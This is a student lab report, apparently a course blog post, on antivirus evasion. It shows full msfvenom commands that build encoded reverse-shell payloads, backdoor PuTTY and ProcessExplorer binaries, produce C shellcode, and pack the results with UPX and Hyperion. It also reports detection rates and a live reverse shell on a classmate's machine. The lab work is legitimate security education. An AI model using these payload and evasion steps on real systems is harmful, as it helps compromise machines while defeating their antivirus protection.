20192431 2021-2022-2 《网络与系统攻防技术》实验三实验报告

实验三 免杀原理与实践

一 实践内容

1.1方法

要求正确使用msf编码器,使用msfvenom生成如jar之类的其他文件。
学会使用veil,以及加壳工具
使用C+shellcode编程
学会组合应用各种技术实现恶意代码免杀
用另一台电脑实测,在杀软开启的情况下,可运行并回连成功

二 本次实验中用到的免杀方式

2.1 msf编码器的使用

Msf编码器的功能:MSF编码器。其功能是对攻击载荷文件进行重新的排列编码,改变可执行文件中的代码形状,避免被杀软认出。MSF 编码器可以将原可执行程序重新编码,生成一个新的二进制文件,这个文件运行以后,MSF 编码器会将原始程序解码到内存中并执行。我理解的意思就是对编码顺序进行改变。
查看可用编码格式是msfvenom -l encoders
可以看到如下的多种形式的编码。当然通过其它的一些参数可以做更进一步的处理,常见的参数有
-e 指定编码方式对攻击载荷进行重新编码
-x 指定木马捆绑在哪个可执行程序模版上
-i 指定对目标进行编码的次数,多次编码理论上来讲有助于免杀,本次实践当中也用用到-i 进行多次编码
-f 指定MSF编码器输出的程序的格式
-o 指定处理完毕后的文件输出路径

2.2 加壳处理

加壳工具通常分为压缩壳和加密壳两类。保护软件不会被轻易的修改或者反编译。
压缩壳是对可执行文件里的资源进行压缩,压缩后的文件可以独立运行,解压过程完全隐蔽,都在内存中完成。先于原始程序运行。压缩壳侧重于减小软件的体积大小,加密保护不是重点。
加密壳就是和压缩壳的侧重点不太一样,原理是比较类似的。
然后在Kali中,内置了UPX加壳,UPX的原理,就是将可执行文件中的代码和数据进行压缩,然后将解压缩用的代码附加在前面,运行的时候先将原本的可执行数据解压出来,然后再运行解压缩后的数据。打包器的本质目的是反调试,防止逆向工程,而这里使用打包器的目的是为了改变后门程序的特征码。
使用upx命令可以查看参数介绍。可以看到当我们使用UPX的时候他的体积变小了。下面可以看出来。

2.3 Veil的使用

Veil可以将任意脚本或一段shellcode转换成Windows可执行文件,从而逃避了常见防病毒产品的检测.Veil有两个免杀的工具,分别是Evasion和Ordnance.Evasion是用做文件免杀.可以用list查看payload列表。选择语言等。
疑问?怎么用veil实现对playload的异或编码?

2.4 Hyperion 对木马简单加壳

Hyperion是一款开源的windows平台下32位可执行文件动态加密工具。其编译一般是通过Ming C编译器,比如我们这次实验当中使用的mingw-w64是能够在Linux下编译出Windows系统中运行的应用程序。

2.5 C+Shellcode

三 实验过程

3.1 使用msf编码器进行免杀

  1. 我们可以用msfvenom -l来查看编码器的类型:

  2. 实验二生成后门通过VirusScan后扫描的结果,提示危险!

  3. 接下来使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.11.5 LPORT=5322 -f exe > encoded10.exe进行多次编码,来看看效果如何。

检验:

可以看到十次以后反而从41%变成了43%,可见多次编码也不一定能够使得免杀效果好,说不定多次编码的时候能够让杀软看到更多的熟悉的常见的漏洞。
4. 那我们用多种不同的编码方式再来试一试:msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.11.5 LPORT=5322 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -x 192431backdoor.exe -f exe > 2431dcbm.exe

效果分析:可以看出来其实并没有特别大的效果,时间变长一些而已。
5. 自定义可执行文件模板
就是改变原来攻击载荷嵌入道德可执行文件中,用-x来使用任意的可执行程序来代替模板文件。
代码:wget http://download.sysinternals.com/files/ProcessExplorer.zip unzip ProcessExplorer.zip msfvenom -p windows/shell_reverse_tcp LHOST=监听IP LPORT=监听端口 -e x86/shikata_ga_nai -x /root/procexp.exe -i 12 -f exe -o hackergu5.exe
检验效果:
稍微好一点。
6. 隐秘地启动一个载荷
如果执行一个什么都没有发生的可执行文件,什么都没有发生,一定会引起用户的怀疑。为了避免察觉,可以在启动攻击载荷的同时,让宿主程序也运行起来。下载Windows下的SSH客户端,使用 -k 处理Putty,该选项会配置攻击载荷在一个独立的线程中运行,这样宿主程序在执行时不会受到影响。
wget https://the.earth.li/~sgtatham/putty/0.67/x86/putty.exe
msfvenom -p windows/shell_reverse_tcp LHOST=kali LPORT=端口 -e x86/shikata_ga_nai -x /root/putty.exe -k -i 12 -f exe -o hacker.exe
7. 来看看生成其他的格式:
jar:msfvenom -p java/shell_reverse_tcp LHOST=192.168.11.5 LPORT=5322 -f jar > 2431.jar

检测结果图:

分析:只有百分之1,说明更改文件格式杀软杀出的可能性会比较小,至少比exe格式的要小很多,从本次实验当中来看的话。
php:

检测结果:

分析:只有百分之五,结果也是比exe格式小,比jar的可能性高。
但是我当时生成了一个c文件,查杀的时候是百分之0.

3.2 使用Veil,加壳工具

  1. 安装Veil,指令:
    apt install veil
    接下来就一路按y即可。这次在安装veil的时候我遇到了非常多的问题,将在问题中记录。
  2. 安装好veil之后,通过接下来的过程生成后门:


    generate:

我们的可执行文件保存在:/var/lib/veil/output/compiled当中
3. 检测:我的系统是联想win11,自带一个联想电脑管家,当我弄完那个veil之后,直接就报出它是可疑程序了。
图:
Virusscan图:

分析:可以看到它是百分之四十。好还是比较高的,虽然比简单的生成后门程序要稍微低一点点,但是其实差别不大。
4. 对我们用veil生成的这个程序进行UPX加壳


检测结果:仍然是百分之四十,并没有什么效果。

3.3 使用C+shellcode编程

  1. 使用mstasploit生成shellcode数组
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=5301 -f c > zxw.c

  2. vim zxw.c除了使用vim编辑,也可以采用cat >>zxw.c<<EOF的方式直接编辑。

  3. 添加主函数,这个主函数的意义就是:调用这个函数让他能够运行。

  4. 使用交叉编译的方法编译zxw.c成Windows的可执行程序
    代码:i686-w64-mingw32-g++ zxw.c -o zxw.exe
    gcc和g++的区别:gcc与g++都可以编译c代码与c++代码。但是:后缀为.c的,gcc把它当做C程序,而g++当做是C++程序;后缀为.cpp的,两者都会认为是C++程序。编译可以用gcc/g++,而链接可以用g++或者gcc -lstdc++。因为gcc命令不能自动和C++程序使用的库联接。所以用g++比较方便一点。

  5. 检测结果:
    还是被我的联想电脑管家识别为了风险文件

3.4 通过组合应用各种技术实现恶意代码免杀

  1. C+Shellcode(异或的方式)
  2. 对shellcode先UPX再Hyperion加壳
    方式1:思路:先用msf生成shellcode,然后再编程让他异或,但是好像采用veil也可以直接用异或的方式生成一段shellcode,但是我在网上找教程的时候,没有找到比较直白的解释。所以我没能成功使用veil生成异或的shellcode。


在virusTotal检测,大约是百分之二十一的杀软可以检测出来,然后呢,我的联想电脑管家倒是没有提示风险文件。

方式2:对上面的那个异或后的文件加壳,先加了一层upx,检测结果:从15/65变成了16/65,然后这个时候就提示了风险文件,但是之前的没有提示。后来再加了一层hyperion。

检测结果:更多了,变成了47/68,当然我也提示了风险文件。


最后我又在以上的基础上,又弄了一层UPX,但是此时我再去弄得的时候,就一直很长时间,但啥也出不来。杀软未提示。

3.5 用另一台电脑实测,在杀软开启的情况下,可运行并回连成功

对方的杀软是:火绒。
如图:
实验过程:

  1. 输入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' lhost=172.16.228.210 lport=10000 -f raw -o 20192431zxw.raw
  2. 接下来发送给对方。
  3. 对方通过加载器运行此程序。
  4. 我开启msfconsole监听。
  5. 输入dir,发现可以获取对方的权限。

四 实验问题

  1. 安装veil中的问题。
    安装veil的时候遇到了如下问题:
    (1)安装的过程当中出现ptyhon的安装,当我点击next以后将卡死,弹出错误,并且在安装veil的过程中也显示,安装wine32失败。如图:

当时查了各种资料,换了各种国内源。然后又看了各种什么修改.setup的第251行github改为Gitee等。但是都失败了。依旧是同样的问题。
最后其实还是由于源的问题,因为之前我注释掉了官方源,并且加的都是国内的源,后来再/etc/apt/sources.list里加了:deb http://http.kali,org/kali kali-rolling main non-free contrib然后就对了。后来会出现什么.py。忽略即可。
(2)最开始我使用的是桥接模式,然后呢我在输入apt-get update的时候,有出现了什么does The net authentation?之类的,然后问题好像是因为桥接模式连校园的内网好像DNS的配置访问不了外边的一些网络。然后我就换成了NAT模式去下载,就可以下载了。另一种方式就是配置KALI的DNS。在进入系统之前,我们先确认一下主机的ip地址、网关、DNS等信息。我们需要将桥接模式下虚拟机的ip地址和物理主机的ip设置为同一个网段,并使虚拟机的默认网关、子网掩码和DNS和物理主机的保持一致。进入kali,打开终端编辑网卡配置文件,命令为:vim /etc/network/interfaces。进入vim编辑器之后,设置虚拟机的ip、默认网关、子网掩码(natmask)、广播地址等信息,修改虚拟机的DNS配置文件,使虚拟机的DNS和主机的DNS一模一样,命令如下:vim /etc/resolv.conf。然后重启。
(3)在最后一个实验的时候,我的kali使用的是桥接模式,我觉得只要对方和我在同一个局域网之下,我把文件发给他,我把我的kali的防火墙都用usf关了,我后来考虑我是不是应该把我的电脑的防火墙关闭,但是我的防火墙显示是这样的:

它来连我,我就可以在msfconsole里面监听到它。但是不知道为什么,始终都无法连接到它,后来发现对方ping我的时侯可以ping通但是我就无法接受到它。然后呢我的kali是在VB里的,我有想到不然不用桥接模式了采用NAT,然后用端口转发的方式来试一试,但是后来我完成了配置之后,对方连我的时候没有显示什么不对,我这边仍然收不到对方的shell。最后我选择了VMware里的kali,然后用端口转发的方式就可以成功了。
其实我在想,桥接模式的时候,我是不是也应该像解决问题2的时候一样把DNS等东西都设的和我的主机一样,对方连我我才能有反映呢?

(4)怎样用veil来生成一段异或好的shellcode

五 实验感想

  1. 桥接和NAT的端口转发有了理解:
    端口转发就是我自己指定,然后通过这样的方式使得内网和外网来通信。
    桥接模式:就是将主机网卡与虚拟机虚拟的网卡利用虚拟网桥进行通信。在桥接的作用下,类似于把物理主机虚拟为一个交换机,所有桥接设置的虚拟机连接到这个交换机的一个接口上,物理主机也同样插在这个交换机当中,所以所有桥接下的网卡与网卡都是交换模式的,相互可以访问而不干扰。在桥接模式下,虚拟机ip地址需要与主机在同一个网段,如果需要联网,则网关与DNS需要与主机网卡一致。
  2. 还知道了除了msf编码器和veil之外,还有有一个meterpreter下的Venom制作免杀木马,还有Backdoor-factory。BDF:将shellcode划分不同大小代码块,放置于模板文件的代码缝隙中,shellcode在不同的代码缝隙跳转执行。代码缝隙指二进制文件中超过两个字节的连续0x00区域(代码片段间区域),代码缝隙是由编译器形成的,不同编译器对同一源文件编译的结果不同。使用方法是要再github上下载,并且安装capstone包。将payload作为整个section添加到文件末尾成功率高,但是免杀效果差;将payload划分为多个section添加到文件代码缝隙中成功率低,但是免杀效果好。
  3. 本次实验遇到了非常多的问题,并且解决起来真的很累。花了很久,以后做实验一定要从第一天就开始。感谢同学们和老师的帮助。

六 问题回答

  1. 杀软是如何检测出恶意代码的?
    病毒特征码检测
    加密文件分析一种是以卡巴斯基为代表的安全软件,会自带脱壳引擎,将加壳文件脱壳还原后再进一步判定文件是否有害;另一种是实力不佳的安全厂商,由于难以开发高质量脱壳引擎,会尝试从进程内存数据中检测有害信息,因为内存中的数据一般都不在受加壳机制保护了。
    基于行为检测的主动防御。比如当病毒文件尝试修改一些敏感信息就会报警。
  2. 免杀是做什么?
    免杀技术全称为反杀毒技术,躲避杀毒软件的检测。它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
    免杀还有很多的分类:文件免杀,基于文件的免杀基本上就是破坏原有程序的特征。无论是修改特征码还是加上一段花指令还是加壳,目的就是为了打乱或加密可执行文件内部的数据。
    内存免杀,数据进入CPU之前会在内存中处理成可以直接被CPU执行的形式。通过选择扫描内存的形式去查杀木马。将要被执行的程序肯定比未执行程序的威胁更大。再厉害的木马只要能保证它不被执行,它在用户的计算机中最多也就是算是一个垃圾文件,就不会对用户及网络构成任何威胁。
    行为免杀,从最早的“文件防火墙”发展到后来的“主动防御”,再到现在的部分“云查杀”,其实都应用了行为查杀技术。常见行为添加服务、创建驱动、释放资源、添加注册表、增加自启动、创建互斥体、遍历全硬盘的文件、远程线程注入、HOOK。
  3. 免杀的方式有哪些?
    (1)修改特征码
    (2)加壳
    (3)花指令。等等
posted @ 2022-04-10 19:04  小小文文  阅读(299)  评论(0编辑  收藏  举报